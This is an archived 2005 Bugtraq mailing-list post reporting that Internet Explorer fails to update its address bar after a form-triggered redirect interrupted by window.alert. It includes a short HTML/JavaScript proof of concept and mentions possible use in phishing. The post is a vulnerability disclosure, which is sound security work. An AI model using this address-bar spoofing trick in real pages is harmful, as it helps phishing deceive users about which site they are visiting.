bugtraq - Internet Explorer URL obfuscation.

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: Fri, 21 Jan 2005 18:08:45 -0700
From: "Stewart, Graeme" <gstewart@...strepublic.com>
To: <bugtraq@...urityfocus.com>
Subject: Internet Explorer URL obfuscation.

All,

The following (very simple!) code calls a URL in the browser window but
fails to update the address bar in IE. Looks like the form submission is
suspended with the interrupt of the 'window.alert' call. IE then fails
to correctly handle.

Might be helpful in facilitating phishing style attacks. Assuming you
can spoof the original location.

I'm running windows XP SP2 with all the latest patches. It works
correctly in FireFox (i.e. the address bar does update).

Not sure if this really is a vulnerability, but would appreciate any
thoughts.

Thanks,

Graeme Stewart

--snip---

<html>
<script language="Javascript">
function page_load(){
    document.location.href='http://www.google.com/';
    window.alert('Incorrect URL');
}
</script>
<body>
<form>
<input type="submit" value="Update" name="patch_update"
onClick="page_load()">
</form>
</body>
</html>

--snip---

P.S My apologies if this is a known vuln. I did do some searching (i.e.
Google!, but nothing similar came up).

-----------------------------------------------------------------------
The information transmitted is intended only for the person  or  entity 
to which it is addressed and may contain confidential and/or privileged 
material. Any review, retransmission, dissemination or other use of, or 
taking of any action in reliance upon, this information  by persons  or 
entities other than  the  intended  recipient  is  prohibited.  If  you 
received this in error,  please  contact  the  sender  and  delete  the 
material from any computer.